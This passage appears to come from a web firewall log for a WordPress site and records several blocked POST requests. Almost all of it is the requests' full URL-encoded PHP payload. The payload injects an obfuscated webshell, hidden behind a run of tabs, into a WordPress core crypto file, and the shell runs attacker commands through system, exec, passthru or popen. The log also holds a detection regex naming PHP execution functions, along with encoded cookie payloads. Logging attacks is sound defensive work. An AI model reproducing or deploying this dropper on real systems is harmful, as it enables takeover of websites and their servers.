val10.%252770%2527.%252770%2527.%25275f%2527.%2524val12.%2524val11.%2524val12.%252774%2527.%252769%2527.%2524val10.%2524val4.%252769%2527.%2524val13.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524app_initializer%252C%2524entity_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_record%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524flag_parameter_group%253D%2524sync_manager5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flag_parameter_group%2529%257B%2524binding_key%253D%2524sync_manager6%2528%2524flag_parameter_group%2529%253B%2524sync_manager7%2528%2524flag_parameter_group%2529%253Bprint%2520%2524binding_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:6134\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEIxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\n\nEY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS128L.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252774%2527%253B%2524val3%2520%253D%2520%252765%2527%253B%2524val4%2520%253D%2520%25276c%2527%253B%2524val5%2520%253D%2520%25275f%2527%253B%2524val6%2520%253D%2520%252763%2527%253B%2524val7%2520%253D%2520%252768%2527%253B%2524val8%2520%253D%2520%252770%2527%253B%2524val9%2520%253D%2520%25276f%2527%253B%2524val10%2520%253D%2520%252761%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252769%2527%253B%2524val13%2520%253D%2520%25277a%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252779%2527.%2524val1.%2524val2.%2524val3.%25276d%2527%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524val4.%25276c%2527.%2524val5.%2524val3.%252778%2527.%2524val3.%252763%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val3.%252778%2527.%252765%2527.%2524val6%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524val1.%252773%2527.%2524val2.%2524val7.%252772%2527.%252775%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%2524val9.%252770%2527.%252765%2527.%25276e%2527%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252774%2527.%252772%2527.%252765%2527.%2524val10.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524val5.%2524val6.%2524val9.%2524val11.%252774%2527.%252765%2527.%2524val11.%2524val2.%252773%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%252763%2527.%2524val4.%25276f%2527.%2524val1.%252765%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val10.%252770%2527.%252770%2527.%25275f%2527.%2524val12.%2524val11.%2524val12.%252774%2527.%252769%2527.%2524val10.%2524val4.%252769%2527.%2524val13.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524app_initializer%252C%2524entity_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_record%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524flag_parameter_group%253D%2524sync_manager5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flag_parameter_group%2529%257B%2524binding_key%253D%2524sync_manager6%2528%2524flag_parameter_group%2529%253B%2524sync_manager7%2528%2524flag_parameter_group%2529%253Bprint%2520%2524binding_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:50:24","121.200.216.56","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS128L.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252774%2527%253B%2524val3%2520%253D%2520%252765%2527%253B%2524val4%2520%253D%2520%25276c%2527%253B%2524val5%2520%253D%2520%25275f%2527%253B%2524val6%2520%253D%2520%252763%2527%253B%2524val7%2520%253D%2520%252768%2527%253B%2524val8%2520%253D%2520%252770%2527%253B%2524val9%2520%253D%2520%25276f%2527%253B%2524val10%2520%253D%2520%252761%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252769%2527%253B%2524val13%2520%253D%2520%25277a%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252779%2527.%2524val1.%2524val2.%2524val3.%25276d%2527%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524val4.%25276c%2527.%2524val5.%2524val3.%252778%2527.%2524val3.%252763%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val3.%252778%2527.%252765%2527.%2524val6%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524val1.%252773%2527.%2524val2.%2524val7.%252772%2527.%252775%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%2524val9.%252770%2527.%252765%2527.%25276e%2527%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252774%2527.%252772%2527.%252765%2527.%2524val10.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524val5.%2524val6.%2524val9.%2524val11.%252774%2527.%252765%2527.%2524val11.%2524val2.%252773%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%252763%2527.%2524val4.%25276f%2527.%2524val1.%252765%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val10.%252770%2527.%252770%2527.%25275f%2527.%2524val12.%2524val11.%2524val12.%252774%2527.%252769%2527.%2524val10.%2524val4.%252769%2527.%2524val13.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524app_initializer%252C%2524entity_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_record%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524flag_parameter_group%253D%2524sync_manager5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flag_parameter_group%2529%257B%2524binding_key%253D%2524sync_manager6%2528%2524flag_parameter_group%2529%253B%2524sync_manager7%2528%2524flag_parameter_group%2529%253Bprint%2520%2524binding_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:6134\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn2bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\n\nkj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS128L.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252774%2527%253B%2524val3%2520%253D%2520%252765%2527%253B%2524val4%2520%253D%2520%25276c%2527%253B%2524val5%2520%253D%2520%25275f%2527%253B%2524val6%2520%253D%2520%252763%2527%253B%2524val7%2520%253D%2520%252768%2527%253B%2524val8%2520%253D%2520%252770%2527%253B%2524val9%2520%253D%2520%25276f%2527%253B%2524val10%2520%253D%2520%252761%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252769%2527%253B%2524val13%2520%253D%2520%25277a%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252779%2527.%2524val1.%2524val2.%2524val3.%25276d%2527%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524val4.%25276c%2527.%2524val5.%2524val3.%252778%2527.%2524val3.%252763%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val3.%252778%2527.%252765%2527.%2524val6%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524val1.%252773%2527.%2524val2.%2524val7.%252772%2527.%252775%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%2524val9.%252770%2527.%252765%2527.%25276e%2527%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252774%2527.%252772%2527.%252765%2527.%2524val10.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524val5.%2524val6.%2524val9.%2524val11.%252774%2527.%252765%2527.%2524val11.%2524val2.%252773%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%252763%2527.%2524val4.%25276f%2527.%2524val1.%252765%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val10.%252770%2527.%252770%2527.%25275f%2527.%2524val12.%2524val11.%2524val12.%252774%2527.%252769%2527.%2524val10.%2524val4.%252769%2527.%2524val13.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524app_initializer%252C%2524entity_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_record%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524flag_parameter_group%253D%2524sync_manager5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flag_parameter_group%2529%257B%2524binding_key%253D%2524sync_manager6%2528%2524flag_parameter_group%2529%253B%2524sync_manager7%2528%2524flag_parameter_group%2529%253Bprint%2520%2524binding_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:50:54","212.87.197.20","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core\/AEGIS128L.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524val1%2520%253D%2520%252773%2527%253B%2524val2%2520%253D%2520%252774%2527%253B%2524val3%2520%253D%2520%252765%2527%253B%2524val4%2520%253D%2520%25276c%2527%253B%2524val5%2520%253D%2520%25275f%2527%253B%2524val6%2520%253D%2520%252763%2527%253B%2524val7%2520%253D%2520%252768%2527%253B%2524val8%2520%253D%2520%252770%2527%253B%2524val9%2520%253D%2520%25276f%2527%253B%2524val10%2520%253D%2520%252761%2527%253B%2524val11%2520%253D%2520%25276e%2527%253B%2524val12%2520%253D%2520%252769%2527%253B%2524val13%2520%253D%2520%25277a%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252779%2527.%2524val1.%2524val2.%2524val3.%25276d%2527%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252768%2527.%252765%2527.%2524val4.%25276c%2527.%2524val5.%2524val3.%252778%2527.%2524val3.%252763%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val3.%252778%2527.%252765%2527.%2524val6%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252770%2527.%252761%2527.%2524val1.%252773%2527.%2524val2.%2524val7.%252772%2527.%252775%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%2524val9.%252770%2527.%252765%2527.%25276e%2527%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%252773%2527.%252774%2527.%252772%2527.%252765%2527.%2524val10.%25276d%2527.%25275f%2527.%252767%2527.%252765%2527.%252774%2527.%2524val5.%2524val6.%2524val9.%2524val11.%252774%2527.%252765%2527.%2524val11.%2524val2.%252773%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val8.%252763%2527.%2524val4.%25276f%2527.%2524val1.%252765%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524val10.%252770%2527.%252770%2527.%25275f%2527.%2524val12.%2524val11.%2524val12.%252774%2527.%252769%2527.%2524val10.%2524val4.%252769%2527.%2524val13.%252765%2527.%252772%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524app_initializer%252C%2524entity_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entity_record%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524flag_parameter_group%253D%2524sync_manager5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flag_parameter_group%2529%257B%2524binding_key%253D%2524sync_manager6%2528%2524flag_parameter_group%2529%253B%2524sync_manager7%2528%2524flag_parameter_group%2529%253Bprint%2520%2524binding_key%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:6134\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoxVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9vK2ywo252K2uuozEfMFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft 